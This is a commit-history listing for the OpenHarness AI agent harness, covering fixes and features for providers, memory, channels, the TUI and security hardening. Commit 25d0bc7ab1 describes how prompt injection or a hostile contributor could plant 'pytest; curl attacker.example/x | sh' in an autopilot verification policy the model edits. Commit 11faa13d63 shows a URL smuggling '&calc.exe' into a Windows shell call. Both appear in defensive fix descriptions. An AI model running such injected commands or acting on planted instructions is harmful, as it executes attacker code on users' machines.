Compare commits

...

131 Commits

Author SHA1 Message Date
tjb-tech 9b2efd795c fix(config): preserve profile auth when overriding model
CI / Python tests (3.10) (push) Failing after 1s
CI / Python quality (push) Failing after 0s
CI / Python tests (3.11) (push) Failing after 0s
CI / Frontend typecheck (push) Failing after 0s
2026-06-04 02:42:36 +00:00
Yang XiuYuan 257916db67 fix(web): support persisted resolution modes (#285) 2026-06-04 09:30:31 +08:00
Yang XiuYuan 1763a2f708 fix(ohmo): send final image paths as media (#287) 2026-06-04 09:30:23 +08:00
Jiabin Tang 256f7fc2dd fix(ohmo): tee gateway run logs to file (#288) 2026-06-04 09:10:47 +08:00
José Maia a41011de19 fix(ohmo): gate gateway-scoped provider and model commands (#281)
/provider and /model are registered with remote_invocable=False and
remote_admin_opt_in=True in src/openharness/commands/registry.py, but
OhmoSessionRuntimePool.stream_message intercepted them with
_handle_gateway_scoped_command before the remote-allowed gate ran, so the
contract was silently skipped for both commands.

Move the gateway-scoped intercept after the gating block so the existing
remote_admin_opt_in / allow_remote_admin_commands +
allowed_remote_admin_commands path governs them like every other admin
command. Add a regression test that asserts /provider and /model are
rejected unless the operator has opted in, and update the existing
positive test to set the opt-in so it continues to exercise the success
path.

Refs #280

Co-authored-by: glitch-ux <glitch-ux@users.noreply.github.com>
2026-06-04 09:06:32 +08:00
guyuming bf5931e7c1 fix(runtime): close API clients on shutdown
Close API clients when the runtime shuts down to release HTTP connection pool resources, and surface the active session ID in /session output.

Cherry-picked from PR #273. Excluded the embedded-wrapper session resolver and memory parser API changes because they need a narrower public API design.
2026-05-27 10:19:21 +00:00
baizenghu a68d0f984d feat(hooks): add priority ordering for lifecycle hooks (#279)
Hooks now accept an optional priority field and HookRegistry returns hooks in stable highest-priority-first order.\n\nVerified with:\n- uv run pytest -o addopts='' tests/test_hooks tests/test_plugins/test_lifecycle_flow.py tests/test_plugins/test_loader.py tests/test_ui/test_runtime_plugin_tools.py -q\n- uv run ruff check src/openharness/hooks tests/test_hooks tests/test_plugins/test_lifecycle_flow.py tests/test_plugins/test_loader.py tests/test_ui/test_runtime_plugin_tools.py
2026-05-27 18:17:16 +08:00
Mcy0618 033dce67b1 fix(runtime): refresh prompt for permission mode changes
Inject the active permission mode into the runtime system prompt so plan/default/full-auto state is visible to the model.

Refresh the engine model, effort, permission checker, and system prompt when runtime-affecting slash commands update settings.

Based-on: #268
2026-05-24 09:10:10 +00:00
SABUJ123472 4c3bf5bbc9 fix(platform): harden Windows lock detection
Recognize win32 as a Windows platform alias and wrap missing platform lock modules in SwarmLockUnavailableError instead of leaking raw ImportError.

Based-on: #34
2026-05-24 09:07:19 +00:00
Siaochuan 63ac368975 fix(auth): prefer scoped provider env keys
Prefer OPENHARNESS_<PROVIDER>_API_KEY variables over provider-native globals while resolving API-key auth. Keep provider-native variables as fallback and avoid applying unrelated native keys across active profiles.

Forward the OpenHarness-scoped auth/provider environment variables to spawned teammates.

Based-on: #93
2026-05-24 09:05:44 +00:00
tjb-tech fea0b75bc4 fix(auth): show subscription setup errors
Preserve subscription-auth failures instead of rewriting them as missing API keys, and point Claude/Codex subscription users at the correct login and provider commands.

Fixes #254
2026-05-24 09:01:35 +00:00
tjb-tech c281d34c4a fix(swarm): inherit OpenHarness permission config
Forward OpenHarness config/data env vars to spawned teammates and apply CLI permission_mode overrides to Settings.permission.mode so full_auto survives sub-agent startup paths.

Fixes #274
2026-05-24 08:18:20 +00:00
tjb-tech f5608951e1 test(ohmo): cover Feishu domain setup prompts 2026-05-24 08:14:31 +00:00
tjb-tech 92e298852c Merge branch 'pr-276' into codex/pr-merge-test-20260524 2026-05-24 08:13:17 +00:00
tjb-tech 27bb93b810 Merge branch 'pr-272' into codex/pr-merge-test-20260524 2026-05-24 08:13:15 +00:00
tjb-tech ee0af9a24c Merge branch 'pr-270' into codex/pr-merge-test-20260524 2026-05-24 08:13:13 +00:00
hinotoi-agent 9a24b8dfe2 fix(commands): keep session transcript commands local-only 2026-05-22 13:19:37 +08:00
hinotoi-agent 4321bd824d fix(commands): keep project context commands local-only 2026-05-22 08:15:41 +08:00
WcW 175fe501a6 fix(ohmo-init): add domain prompt to feishu setup flow
ohmo init rewrites gateway.json without a domain field, undoing the
larksuite.com fix on every reconfigure. Add a domain selector so the
choice is persisted through init.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-05-21 16:48:07 +08:00
WcW 254ed90aed fix(feishu): add domain config to support Lark international (larksuite.com)
REST client and WebSocket client both defaulted to open.feishu.cn; apps
created on open.larksuite.com were rejected with "Incorrect domain name".

Add `domain` field to FeishuConfig (default: https://open.feishu.cn for
backwards compatibility). Pass it to both lark.Client.builder().domain()
and lark.ws.Client(domain=).

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-05-21 15:31:24 +08:00
Jiabin Tang 09bc641aad feat(memory): add Claude-style memory runtime (#267)
* Add Claude-style memory runtime

* fix(memory): trim relevance EOF whitespace
2026-05-17 15:31:35 +08:00
tjb-tech 6243793ec0 fix(tui): keep image paste CI stable 2026-05-17 06:18:59 +00:00
tjb-tech 330ece7a62 feat(tui): support clipboard image paste
Fixes #265
2026-05-17 06:13:19 +00:00
Yang XiuYuan 6747d12385 feat(memory): add structured schema and usage index (#266)
* feat(memory): add structured schema and usage index

Add schema-v1 frontmatter for memory files, including stable ids, deterministic signatures, soft delete metadata, TTL handling, and migration support for legacy stores.

Track recalled memories in usage_index.json so retrieval can prioritize useful memories and auto-dream can review stale unused entries before pruning.

Keep project and ohmo memory backends aligned under the same behavior while preserving runtime compatibility for unmigrated Markdown files.

* fix(memory): make backend migration defaults explicit
2026-05-17 14:01:24 +08:00
tjb-tech 7a0bfe9122 Merge remote-tracking branch 'origin/main' into review/pr-248 2026-05-16 13:11:47 +00:00
tjb-tech 595a9ab3a4 Merge remote-tracking branch 'origin/main' into review/pr-256
# Conflicts:
#	CHANGELOG.md
2026-05-16 13:04:45 +00:00
tjb-tech 4ba71f2d4a fix(telegram): use configured bot identity
Remove the hard-coded nanobot name from Telegram /start and /help responses and sanitize dangling tool-use turns before continue_pending resumes a session.
2026-05-16 12:45:08 +00:00
tjb-tech 889d9dcbda fix(grep): keep missing roots as tool errors 2026-05-16 12:24:21 +00:00
tjb-tech a2888506ba fix(web): support explicit search endpoint and proxy 2026-05-16 12:16:15 +00:00
tjb-tech 0531963435 Merge remote-tracking branch 'origin/main' into review/pr-260
# Conflicts:
#	CHANGELOG.md
2026-05-16 11:52:30 +00:00
tjb-tech c6b7552008 fix(telegram): hide bot tokens in dependency logs
Silence Telegram HTTP dependency loggers before polling starts, keep pending updates by default, and surface channel startup/handler failures through gateway state.
2026-05-16 11:50:59 +00:00
David Whatley 635d77fad4 fix(openai): omit empty reasoning_content by default (#263)
`reasoning_content` is a non-standard field that some thinking-model
providers (Kimi k2.5 on Anthropic-format) require on every assistant
message with tool calls — even when empty. Other OpenAI-compatible
providers (Cerebras, NVIDIA NIM, OpenAI direct, etc.) reject the field
outright with a 400 ``wrong_api_format`` validation error.

Until now, ``_convert_assistant_message`` unconditionally emitted
``reasoning_content: ''`` for tool-using assistant messages. That hard-
breaks every strict-OpenAI provider on the very first tool turn.

Behaviour change:

- Captured non-empty reasoning is still always replayed.
- The empty-string fallback is now opt-in via
  ``OPENHARNESS_REQUIRE_EMPTY_REASONING_CONTENT=1``.
- Default behaviour matches strict-OpenAI providers, which is the
  larger / standards-compliant population. Kimi-on-Anthropic users
  set the env var in their dotfiles or settings.

Verified end-to-end against Cerebras gpt-oss-120b (previously 100%
failure rate from this field) — zero ``wrong_api_format`` errors.

Tests added: 6 cases covering captured-replay, opt-in matrix
(truthy/falsy values), and the no-tool-calls invariant.
2026-05-16 19:46:00 +08:00
Hinotobi 7b44b7dab1 [security] fix(ohmo): scope Slack thread sessions by sender (#255) 2026-05-16 19:45:56 +08:00
tjb-tech 484502168d fix(commands): resolve remote admin command merges 2026-05-16 11:44:36 +00:00
tjb-tech 8b2ec8300d Merge branch 'review/pr-251-merge' 2026-05-16 11:40:52 +00:00
tjb-tech a1fef67cdc Merge branch 'review/pr-252-merge'
# Conflicts:
#	src/openharness/commands/registry.py
#	tests/test_commands/test_registry.py
#	tests/test_ohmo/test_gateway.py
2026-05-16 11:40:43 +00:00
tjb-tech 9cff3a05b0 Merge branch 'review/pr-253-merge'
# Conflicts:
#	tests/test_commands/test_registry.py
2026-05-16 11:40:01 +00:00
Hinotobi c38e2fc066 [security] fix(commands): keep autopilot local-only by default (#258) 2026-05-16 19:38:39 +08:00
Hinotobi 653369d983 [security] fix(commands): keep /commit local-only over remote channels (#261) 2026-05-16 19:38:35 +08:00
yl-jiang f61f70d7b1 feat(tui): preview diffs before edit and write approval
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-05-13 13:44:43 +08:00
Pat Yang b93b2cfb30 fix(codex): pass reasoning effort separately 2026-05-12 14:34:12 +08:00
hinotoi-agent efb4b71eb3 chore: retrigger CI for diff command fix 2026-05-12 10:21:54 +08:00
hinotoi-agent c70811cc40 fix(commands): keep diff local-only by default 2026-05-12 10:05:00 +08:00
hinotoi-agent 73fb0fa0bf fix(commands): keep tasks local-only remotely 2026-05-12 09:06:43 +08:00
d 🔹 a75053a740 fix(channels): declare reply_to_message field on TelegramConfig
`TelegramChannel.send` reads `self.config.reply_to_message` in the
outbound path, but the field was never declared on `TelegramConfig` —
only `ohmo init` (interactive mode) wrote it as a free-form key into
gateway.json. Configs that do not go through the interactive prompt —
`ohmo init --no-interactive`, pre-0.1.9 hand-written gateway.json, the
docs example — never have the key set, so every outbound message
crashes with `AttributeError: 'TelegramConfig' object has no attribute
'reply_to_message'` and the bot appears completely silent to the user.

Add `reply_to_message: bool = True` to `TelegramConfig` so the attribute
always exists. The default matches the interactive `ohmo init` default
(`default=bool(prior.get("reply_to_message", True))` in `ohmo/cli.py`),
so non-interactive and interactive configs that accept defaults behave
identically.

Same shape as #192 (proxy field), which added a missing `TelegramConfig`
attribute the implementation already assumed.

Closes #243

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-12 03:39:34 +08:00
Yudong An 5b46a2f7b3 Fix cron scheduler on Windows 2026-05-11 15:25:01 +08:00
Jiabin Tang 1929ad8051 feat(ohmo): add agent-turn cron delivery (#247) 2026-05-10 16:55:10 +08:00
Jiabin Tang f61901e842 feat(memory): add auto-dream consolidation (#246)
Add auto-dream memory consolidation with lock-based scheduling, manual /dream commands, backup/diff/rollback support, and ohmo integration for project and personal memory.
2026-05-09 14:09:55 +08:00
Jiabin Tang 0c6b81d61f feat: add configurable image generation tool (#244)
Add a configurable image_generation tool with OpenAI-compatible and Codex hosted providers, propagate generated media metadata through stream events, and let ohmo channels send generated image/file paths automatically.
2026-05-09 13:18:23 +08:00
Jiabin Tang 225e87f7d7 fix: recover from dangling tool call history (#239) 2026-05-08 18:25:36 +08:00
tjb-tech 18fc6dea13 feat(skills): discover Claude and project skills 2026-05-08 03:49:02 +00:00
tjb-tech a0f8552c69 chore(release): prepare v0.1.9 2026-05-07 11:08:58 +00:00
tjb-tech b22d5e9368 fix(cli): allow updating provider API keys 2026-05-07 10:05:31 +00:00
tjb-tech 0e557a65d3 feat(skills): expose user-invocable skills as slash commands 2026-05-06 13:43:39 +00:00
tjb-tech ffc50221df feat(skills): add skill creator bundled skill 2026-05-06 13:05:03 +00:00
tjb-tech a07837c657 chore(release): prepare v0.1.8 2026-05-06 12:56:08 +00:00
tjb-tech 807e3ecd47 fix(ohmo): respect Feishu group mention policy 2026-05-06 12:46:28 +00:00
tjb-tech d2489758f0 fix(config): add NVIDIA NIM provider profile
Add a built-in NVIDIA NIM OpenAI-compatible workflow that reads NVIDIA_API_KEY, document the backend, and cover auth/profile materialization. Also make Windows shell resolution skip discovered bash executables that cannot run commands, and update the macOS Terminal backspace troubleshooting note to reflect the current fix.
2026-05-06 11:06:35 +00:00
tjb-tech 373147907a test(mcp): use built-in exception groups on Python 3.11 2026-05-06 10:17:11 +00:00
tjb-tech e0860bd3bd Merge branch 'review/pr-229' into review/security-mcp-windows-skills
# Conflicts:
#	CHANGELOG.md
2026-05-06 10:06:20 +00:00
tjb-tech 2ab4fdb2f7 Merge branch 'review/pr-231' into review/security-mcp-windows-skills 2026-05-06 10:05:20 +00:00
tjb-tech 0f7e9a20f4 Merge branch 'review/pr-237' into review/security-mcp-windows-skills 2026-05-06 10:05:20 +00:00
tjb-tech 57a9134997 test(swarm): accept versioned Python executables 2026-05-06 10:05:11 +00:00
tjb-tech d5b1977fab Merge remote-tracking branch 'origin/main' into review/pr-229 2026-05-06 10:02:01 +00:00
tjb-tech 30d4fb3ebf Merge remote-tracking branch 'origin/main' into review/pr-232 2026-05-06 10:02:01 +00:00
tjb-tech 626ad2daf4 Merge remote-tracking branch 'origin/main' into review/pr-237 2026-05-06 10:02:01 +00:00
tjb-tech ffa7d9c06a Merge remote-tracking branch 'origin/main' into review/pr-231 2026-05-06 10:02:01 +00:00
tjb-tech 0528a7a2c2 fix(ohmo): isolate group command context 2026-05-06 09:55:38 +00:00
tjb-tech ebb402cfd3 fix(api): set OpenAI authorization header explicitly 2026-05-06 09:12:38 +00:00
tjb-tech 8f30deffe9 feat(ohmo): add gateway-scoped model provider commands 2026-05-06 09:10:38 +00:00
tjb-tech 52a0551569 feat(ohmo): add Feishu group creation flow
Add an ohmo-only /group flow for Feishu private chats, persist managed group metadata, and route shared-chat sessions safely. Also update Feishu reply handling and gateway tests for private/group behavior.
2026-05-06 08:44:17 +00:00
Litianhui888 a98292b814 fix(mcp): isolate startup from failed servers
Treat per-server initialization cancellation as a connection failure instead of aborting overall startup, and suppress cleanup-time exception groups from half-open MCP sessions.
2026-05-06 10:13:35 +08:00
hinotoi-agent 03f4c47ebb fix(api): preserve OpenAI authorization header 2026-05-05 13:36:58 +08:00
hinotoi-agent 4e33118c48 fix(commands): keep config auth commands local-only 2026-05-05 13:32:29 +08:00
David Whatley 5f97b2416e fix(swarm,tasks): direct-exec teammate spawn, bypass shell on Windows (#230)
Teammate spawn (`agent` tool, `task_create`) failed on Windows with exit
127 and "command not found" against a backslash-mangled Python path,
even though the same `bash -lc "..."` command worked interactively.

Root cause: `subprocess_backend.spawn` built a single shell command
string with a `KEY='val' python ...` env-prefix, then routed through
`bash -lc` via `asyncio.create_subprocess_exec`. Two failures stacked:

  1. The env-prefix string used Python `repr()` for values, and Git
     Bash's `-lc` argument parser consumed backslashes inside the
     quoted segments as escape sequences (`\U` -> `U`).
  2. Even with proper `shlex.quote` of every command part — keeping
     backslashes intact — Git Bash launched via
     `asyncio.create_subprocess_exec` could not exec a Windows-pathed
     Python interpreter, returning `command not found` for the same
     argv that interactive bash exec'd fine.

Fix: don't use a shell at all for teammate spawn.

  * Add `argv: list[str] | None` to `TaskRecord` plus matching kwargs
    on `BackgroundTaskManager.create_shell_task` /
    `create_agent_task`. Either `command` (shell) or `argv` (direct
    exec) must be supplied; both is rejected.
  * `_start_process` runs the argv path via
    `asyncio.create_subprocess_exec(*argv, env=...)` directly, with no
    bash wrapper.
  * `subprocess_backend.spawn` builds an argv list (via
    `get_teammate_command()` plus inherited CLI flags) and hands it to
    `create_agent_task(argv=..., env=...)`. Inherited env vars now
    flow through `env=` rather than being embedded in the command
    string.
  * The legacy shell-evaluated `command=` path is preserved verbatim
    for callers (e.g. `BashTool`) that legitimately want shell
    semantics — only teammate spawn migrates to direct exec.

Tests: 5 new unit tests in `tests/test_swarm/test_subprocess_backend.py`
and 3 in `tests/test_tasks/test_manager.py` lock in the contract — env
plumbed via `env=` kwarg, argv list preserves Windows backslashed
paths, command/argv mutual exclusion, direct-exec round-trip.

Validated end-to-end on Windows 11 against a real CEO/Lead workflow:
CEO successfully calls `agent` tool, Lead spawns at depth=1 and
issues 29 tool calls. Same path was producing exit-127 task logs
before this change.
2026-05-04 16:21:40 -05:00
voidborne-d a857455fd0 fix(skills): use yaml.safe_load for bundled SKILL.md frontmatter
PR #96 fixed the user-skill loader to use yaml.safe_load instead of
naive line-by-line splitting, so YAML block scalars (`>`, `|`),
quoted values, and other standard constructs parse correctly. The
bundled skill loader still used the old parser, so a bundled skill
with a folded description like

    ---
    name: my-skill
    description: >
      A long folded description
      that spans multiple lines.
    ---

would emit `description='>'` (just the marker character) instead of
the expanded text.

Extract the YAML-aware parser into `openharness.skills._frontmatter`
and have both `skills/loader.py::_parse_skill_markdown` and
`skills/bundled/__init__.py::_parse_frontmatter` delegate to it. The
bundled loader keeps its `Bundled skill: <name>` fallback prefix via
the `fallback_template` argument.

Add five regression tests in `tests/test_skills/test_loader.py`
covering folded scalars, literal scalars, inline descriptions, the
"Bundled skill:" fallback, and the heading-plus-paragraph fallback
on the bundled side.
2026-05-05 03:38:47 +08:00
tjb-tech 7873f0d109 fix(engine): clamp oversized token budgets 2026-05-03 09:03:05 +00:00
tjb-tech f10d8875ee feat(ui): make mode switching and stop explicit 2026-05-03 09:02:47 +00:00
Anciety 56a954a0a9 fix(gateway): support Windows process lifecycle (#193)
The ohmo gateway process management (start, find, stop) only worked on
Unix-like systems. On Windows, all three operations fail:

- start_gateway_process: uses start_new_session=True (no equivalent on
  Windows; also lacks stdin=DEVNULL which causes the subprocess to
  inherit the parent's console input)
- _pid_is_running: uses os.kill(pid, 0) which raises PermissionError
  for processes the caller doesn't own on Windows
- _iter_workspace_gateway_pids: shells out to `ps`, which doesn't exist
  on Windows
- stop_gateway_process: uses os.kill(pid, SIGTERM), which is not
  supported on Windows

Replace each with a Windows-compatible path guarded by sys.platform:

- Start: CREATE_NEW_PROCESS_GROUP | DETACHED_PROCESS, stdin=DEVNULL
- PID check: OpenProcess/GetExitCodeProcess via ctypes (STILL_ACTIVE)
- PID listing: wmic process where commandline like ... get processid
- Stop: taskkill /F /T /PID

The Unix paths remain unchanged.

Co-authored-by: ancietyding <ancietyding@tencent.com>
2026-05-03 16:52:23 +08:00
Mcy0618 d611d6ddf6 feat(vision): add image-to-text fallback for text-only models (#227)
* feat(provider): add ModelScope inference API support

* fix(cli/auth): wire ModelScope into CLI and auth manager

* feat(vision): add image-to-text fallback for non-multimodal models

* fix: remove leftover merge conflict marker in query.py

* test: fix cross-platform test failures

* test: remove unused os import in test_environment.py
2026-05-03 16:47:56 +08:00
Mcy0618 e536394812 feat(provider): add ModelScope inference API support (#224)
* feat(provider): add ModelScope inference API support

* fix(cli/auth): wire ModelScope into CLI and auth manager
2026-05-02 22:07:45 +08:00
tjb-tech 47e0e93387 fix(gateway): degrade image attachments for text-only models
Support absolute glob patterns without crashing and retry ohmo channel messages without ImageBlocks when a provider rejects image input.\n\nFixes #225\nFixes #226
2026-05-02 14:04:25 +00:00
tjb-tech c835d7cf2e feat(model): manage profile model allowlists
Add /model list/add/remove/clear so a single provider profile can expose multiple switchable models in the TUI selector. Also add regression coverage for invalid grep regexes in the Python fallback.\n\nFixes #222\nRefs #218
2026-05-01 12:38:48 +00:00
Guangxin Wang d9002c3cb2 fix(grep): handle invalid fallback regex (#219)
* fix: catch re.error in _python_grep_files to prevent crash on invalid regex

Agent-Logs-Url: https://github.com/WANG-Guangxin/OpenHarness/sessions/909fcb62-fba5-41a9-8784-0d5f483a408a

Co-authored-by: WANG-Guangxin <71872849+WANG-Guangxin@users.noreply.github.com>

* fix: improve invalid regex error message to include pattern for debugging

Agent-Logs-Url: https://github.com/WANG-Guangxin/OpenHarness/sessions/909fcb62-fba5-41a9-8784-0d5f483a408a

Co-authored-by: WANG-Guangxin <71872849+WANG-Guangxin@users.noreply.github.com>

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
2026-05-01 20:31:13 +08:00
José Maia 11faa13d63 fix(auth): avoid shell execution for Windows browser open (#217)
DeviceCodeFlow._try_open_browser previously called
``subprocess.Popen(["start", "", url], shell=True)`` on Windows.  Because
``shell=True`` routes through cmd.exe, a URL returned by the GitHub
device-flow endpoint (or a user-configured enterprise endpoint) that
contained ``&``/``|``/``^`` would have its trailing tokens interpreted as
command separators — e.g. ``https://x.com&calc.exe`` would launch
calc.exe alongside the browser.

Replace the Windows branch with ``os.startfile``, which calls
ShellExecuteW directly and hands the full URL to the registered
URL handler verbatim.  Also reject any non-http(s) scheme up front so
``file:`` / ``javascript:`` / bare executable tokens cannot reach any
platform launcher.  macOS and Linux/WSL paths are unchanged (they were
already shell=False).

Adds tests/test_auth/test_flows.py covering the four platform branches
plus the scheme guard, including an explicit regression assertion that
shell=True is never set on the Popen calls.

Co-authored-by: José Maia <glitch-ux@users.noreply.github.com>
2026-05-01 20:29:30 +08:00
tjb-tech 1bcdc62a50 test(ohmo): harden memory prompt isolation coverage 2026-04-29 08:51:02 +00:00
tjb-tech cc825efb83 fix(ohmo): isolate personal memory from project memory 2026-04-29 08:47:58 +00:00
Hinotobi df348b6335 test(gateway): cover remote bridge spawn block (#209) 2026-04-29 16:38:33 +08:00
tjb-tech 1498a87806 fix(compact): bound large tool result history 2026-04-28 13:28:01 +00:00
tjb-tech 726b3ee028 fix(compact): handle local vision context pressure 2026-04-28 07:04:43 +00:00
hinotoi-agent 438e373097 fix: keep bridge command local-only by default 2026-04-28 11:51:44 +08:00
tjb-tech 380bab4d7b test(api): lock bearer auth for openai-compatible providers 2026-04-28 02:52:36 +00:00
tjb-tech 6bfc5c50d0 Merge branch 'pr-207' into review/206-207 2026-04-28 02:52:03 +00:00
tjb-tech 9a8a14331d fix(tasks): preserve multiline prompts for task workers 2026-04-28 02:41:33 +00:00
tjb-tech 25f2043f53 Merge branch 'pr-201' into merge/rest-20260428 2026-04-28 02:35:11 +00:00
tjb-tech 1fb617d4f4 Merge branch 'pr-200' into merge/rest-20260428 2026-04-28 02:35:11 +00:00
tjb-tech b618f639d7 Merge branch 'pr-205' into merge/rest-20260428 2026-04-28 02:35:11 +00:00
tjb-tech a24a28b38a Merge branch 'pr-197' into merge/rest-20260428 2026-04-28 02:35:11 +00:00
Hinotobi bed1e4777e fix(plugins): reject traversal names on uninstall (#198) 2026-04-28 10:34:31 +08:00
hzb be66e015bf feat(providers): add Qwen (DashScope) to default provider profiles
Add qwen profile to default_provider_profiles() with dashscope provider.
Uses OpenAI-compatible API format at dashscope.aliyuncs.com with
qwen-plus as the default model and DASHSCOPE_API_KEY for auth.

The ProviderSpec for dashscope already existed in registry.py but lacked
a ProviderProfile, making it unavailable via 'oh provider list/use'.
2026-04-28 10:19:39 +08:00
yl-jiang 90ec299221 docs(changelog): add unreleased entries for subprocess stderr deadlock fixes
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-27 22:58:40 +08:00
yl-jiang 593dcbcaeb fix(bridge): session_runner 将 stderr 合并到 stdout 流
将子进程 stderr=PIPE 改为 stderr=STDOUT,确保 stderr
输出不会因无人读取而阻塞子进程,同时简化调用方对输出流的处理

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-27 22:57:31 +08:00
yl-jiang 0305dfb3ec fix(tools): subprocess stderr 改为 DEVNULL 并为 bash_tool 添加读取超时
glob/grep 工具的 rg 子进程 stderr 由 PIPE 改为 DEVNULL,
防止 stderr buffer 写满时子进程阻塞造成管道死锁;
bash_tool 的 _read_remaining_output 加 2s 超时,
避免进程退出后读取残余输出时无限挂起

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-27 22:57:31 +08:00
ancietyding b731c3ede1 fix(tui): allow escape to interrupt active runs
Add an explicit frontend-to-backend interrupt request so Esc can stop the current agent turn without relying on platform-specific terminal signals.
2026-04-27 14:17:49 +08:00
José Maia 3e09dde114 fix(ui): drain coordinator async agents in interactive backends
Issue #195: in coordinator mode, the React TUI and Textual app never
injected `<task-notification>` envelopes after a worker finished.
`run_print_mode` had `_drain_coordinator_async_agents` wired in, but
`ReactBackendHost._process_line` and `TextualApp._process_line` only
called `handle_line` and returned, leaving the contract documented in
the coordinator system prompt (results arrive between turns) unmet.

Extract the drain helpers into `openharness.ui.coordinator_drain` and
invoke `drain_coordinator_async_agents` from both interactive hosts
after `handle_line` when coordinator mode is active. The shared module
also avoids a circular import between `ui.app` and `ui.backend_host`.
2026-04-27 00:45:43 +01:00
hinotoi-agent 801f6b321c fix(feishu): contain inbound attachment filenames 2026-04-26 20:19:27 +08:00
tjb-tech 1325770b28 fix(plugins): defer tool imports for disabled plugins 2026-04-25 06:10:37 +00:00
Yan, Zhi Yuan 6c83a4c978 feat: discover and register BaseTool subclasses from plugin tools/ dirs
Plugins can now contribute Python tools by placing BaseTool subclasses
in their tools/ directory. The loader scans for .py files, imports them
via importlib, instantiates any BaseTool subclasses found, and registers
them in the tool registry at runtime.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-25 06:10:37 +00:00
Anciety e7eab63852 fix(channels): add missing proxy field to TelegramConfig (#192)
The proxy field is referenced in telegram.py (builder.proxy /
get_updates_proxy) but was never declared in the TelegramConfig schema.
This causes an AttributeError at runtime if the proxy code path is
reached.

Introduced when channels were ported from nanobot in ab37aac.

Co-authored-by: ancietyding <ancietyding@tencent.com>
2026-04-25 14:04:47 +08:00
tjb-tech f683b4aed2 fix(tui): handle repeated backspace chunks on windows terminals 2026-04-24 16:35:09 +00:00
tjb-tech 835588daa0 fix(compact): keep tool pairs intact across compact boundaries 2026-04-24 16:27:06 +00:00
Yufeng He 0bba07fe19 fix(tui): complete slash commands without cursor drift (#185)
Three related bugs in the React TUI slash-command flow (fixes #183):

1. Tab completion left a trailing space after the command, so hitting
   Enter right after Tab would submit "/exit " (with arg) instead of
   running /exit. Drop the space — user can add one themselves if they
   want to type an argument.

2. After a programmatic setInput() from completion/history, the
   MultilineTextInput cursor stayed at its previous offset instead of
   moving to the end of the newly-inserted text. Subsequent keystrokes
   landed in the middle of the completed command ("/eXxit" when typing
   X after Tab-completing "/exit"). Track the last internally-authored
   value via a ref; when the incoming value differs, treat it as an
   external change and snap the cursor to the end.

3. /quit is the other obvious word for "exit" and users were surprised
   when it wasn't registered. Add an `aliases` field to SlashCommand
   and make /quit an alias of /exit. help/list output deduplicates
   aliases so they resolve via lookup without cluttering the command
   listing.

Tests:
- tests/test_commands/test_registry.py: new tests for the alias path
  and for help/list dedup. Both pass locally.
- MultilineTextInput doesn't have a standalone unit test for the
  cursor behavior (uses node:test + ink render harness, can't run
  without node toolchain on this machine), but the fix is a local,
  obvious change in a single component.

Co-authored-by: Yufeng He <40085740+universeplayer@users.noreply.github.com>
2026-04-23 19:25:50 +08:00
tjb-tech 75c0481dba fix(channels): restore shared helper utilities 2026-04-23 10:57:30 +00:00
José Maia 25d0bc7ab1 fix(autopilot): run verification commands without shell by default (#188)
Verification entries from `.openharness/autopilot/verification_policy.yaml`
were handed to `subprocess.run(shell=True, ...)`. Because the policy file
lives inside the working copy autopilot is triaging — and the autopilot
prompt invites the model to edit it — a hostile contributor or prompt
injection could land a string like `pytest; curl attacker.example/x | sh`
that runs on the autopilot runner with full privileges.

Each entry is now parsed into argv via `shlex.split` and executed with
`shell=False`. Commands that genuinely need shell features declare the
mapping form `{command: "...", shell: true}` explicitly — this surfaces
the escalation in policy diffs and PR review. Entries that contain shell
metacharacters without the opt-in become `status="error"` verification
steps, failing the gate loudly rather than silently executing. The
default policy's `cd frontend/terminal && ...` step is converted to the
opt-in form.

Closes #187.

Co-authored-by: José Maia <glitch-ux@users.noreply.github.com>
2026-04-23 18:57:19 +08:00
Auauau 9078071803 fix(tui): restore backspace behavior for raw DEL terminals (#182)
Ink reports the common DEL byte as a delete key, which means React TUI prompt editing can lose Backspace behavior on terminals that send 0x7f for backward delete. This change records the raw input sequence so PromptInput can treat raw DEL as backward delete while preserving true forward-delete escape sequences, and it adds a focused regression test plus changelog entry.\n\nConstraint: Ink normalizes raw DEL into key.delete for some terminal environments\nRejected: Treat delete at end-of-line as backspace | breaks true forward delete semantics on terminals that send distinct delete sequences\nConfidence: high\nScope-risk: narrow\nReversibility: clean\nDirective: Keep raw-sequence disambiguation aligned with Ink input semantics before refactoring PromptInput keyboard handling\nTested: /Users/wangxin/.openharness-venv/bin/ruff check src tests scripts\nTested: /Users/wangxin/.openharness-venv/bin/pytest -q\nTested: cd frontend/terminal && npx tsc --noEmit\nTested: cd frontend/terminal && node --import tsx --test src/components/MarkdownText.test.tsx src/components/PromptInput.test.tsx\nNot-tested: Manual verification on non-macOS terminals\nRelated: d4eae15

Co-authored-by: wangxin <wangxinwxwx@shopee.com>
2026-04-22 16:15:11 +08:00
tjb-tech c4075ffea3 test(cli): stabilize help output assertion 2026-04-22 07:41:39 +00:00
tjb-tech 699bab3d3a feat(cli): add dry-run safe preview mode 2026-04-22 07:36:59 +00:00
Flo 4dd7b76114 fix(shell): default stdin to DEVNULL for shell subprocesses (#179)
- default create_shell_subprocess stdin to DEVNULL so shell children do not inherit the parent TTY by accident
- add a direct regression test covering the helper default, alongside the existing BashTool coverage

Local verification:
- PYTHONPATH=src pytest -q tests/test_utils/test_shell.py tests/test_tools/test_bash_tool.py
- PYTHONPATH=src python - <<'PY' ... create_shell_subprocess smoke ... PY
2026-04-21 20:11:17 +08:00
tjb-tech 559ba76f23 feat(hooks): fire subagent_stop for spawned agents 2026-04-20 09:13:32 +00:00
tjb-tech 8d48829c20 Merge PR #174: fix(api): strip <think> blocks from OpenAI-compatible streaming responses 2026-04-20 09:02:17 +00:00
tjb-tech 6ef371f62f fix(api): handle split think tags in stream filter 2026-04-20 09:02:03 +00:00
tjb-tech ee97f8e78d test(swarm): stabilize subprocess backend prompt coverage 2026-04-20 08:10:05 +00:00
tjb-tech 1158027082 fix(swarm): forward worker system prompts to subprocesses 2026-04-20 08:05:41 +00:00
